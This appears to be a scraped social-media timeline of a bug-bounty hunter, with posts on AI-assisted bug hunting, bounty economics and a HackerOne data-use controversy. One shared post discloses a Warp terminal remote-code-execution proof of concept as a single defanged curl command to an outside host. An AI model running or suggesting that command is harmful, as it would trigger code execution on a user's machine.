Bug Hunter & Tool Builder.
Joined July 2025
- Tweets 1,331
- Following 78
- Followers 6,486
- Likes 1,101
60 Photos and videos
GPT-5.5 Pro is the most underrated LLM right now.
The accuracy, understanding, and depth it delivers are on a whole different level.
Can we get this in Codex, @thsottiaux?
9
796
This is a very cool technique.
I think we're going to see a lot of similar vulns.
Jun 12
TUIs getting stronger only means they’re also making it fun to hack.
@warpdotdev terminal RCE by @rootxharsh and @HacktronAI
PoC: run this in warp terminal and get pwned.
curl htxp://rce.ee/warp-pwn.php
Details below:
1
14
1,616
This is how you use AI for bug hunting.
Amazing write up👏
Hacking Google with A.I. for $500,000
brutecat.com/r/hacking-googl…
2
68
8,398
If you need AI skills:
Jun 10
69,000 Claude Skills, one index. 📚
Huge credit to @Behi_Sec for this repo — skills for Claude Code, Cursor & Windsurf, organized by category.
Pair it with Atlas Cloud's unified API for the 300 models behind your agents.
#API #Atlascloud #Claude #ClaudeCode #AIAgents #MCP #Cursor #Windsurf #DevTools
8
878
And this will create a huge number of vulnerabilities 😃
A developer posted this on Reddit, and I haven't stopped thinking about it.
1
13
1,492
That's it.
“Bug bounty is dying” is noise.
Lock in. Make money. Use AI to 10x your output. If it eventually dries up, you’ll have enough capital to start that biz or enough experience to land a job.
Simple as that.
21
1,743
OK, thank you!
Jun 3
Yesterday, we announced new product capabilities, and some of our messaging created confusion. We want to be direct.
Researcher submissions are not used to train, fine-tune, or otherwise improve generative AI models. This applies across our platform, including H1 Continuous Testing, H1 Agentic PTaaS, and Hai. Third-party model providers we work with are also prohibited from retaining or using researcher data for their own training.
We've updated our website language to reflect this more clearly. We heard your concerns, and we take them seriously.
9
1,548
Hackerone to bug hunters:
2
16
1,419
What’s wrong with Hackerone?
They do whatever they want with our data, and no one from this company is even responding to our concerns?
We need to do something.
I'm not sure the community will like this. @Hacker0x01 will now reuse your novel techniques / exploits / old reports to look for vulns on the rest of the customer's infra. I guess they will add you as collab and give you a bounty, right? right?!
3
1
34
3,651
Why hasn’t anyone ever mentioned the @praetorianlabs GitHub organization?
Their tools are like a goldmine for bug hunting.
3
21
202
9,621
